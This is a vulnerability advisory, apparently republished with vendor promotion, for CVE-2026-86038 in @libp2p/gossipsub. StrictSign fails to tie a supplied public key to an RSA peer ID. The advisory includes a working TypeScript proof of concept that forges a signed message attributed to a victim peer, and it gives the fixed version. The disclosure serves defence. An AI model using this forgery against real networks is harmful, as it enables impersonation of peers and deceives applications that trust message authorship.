Summary
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}
For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key
Impact
Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.
The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.
CVE-2026-86038 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (16.0.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-86038? CVE-2026-86038 is a high-severity security vulnerability in @libp2p/gossipsub (npm), affecting versions >= 15.0.0, < 16.0.5. It is fixed in 16.0.5.
- How severe is CVE-2026-86038? CVE-2026-86038 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @libp2p/gossipsub are affected by CVE-2026-86038? @libp2p/gossipsub (npm) versions >= 15.0.0, < 16.0.5 is affected.
- Is there a fix for CVE-2026-86038? Yes. CVE-2026-86038 is fixed in 16.0.5. Upgrade to this version or later.
- Is CVE-2026-86038 exploitable, and should I be worried? Whether CVE-2026-86038 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-86038 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-86038? Upgrade
@libp2p/gossipsubto 16.0.5 or later.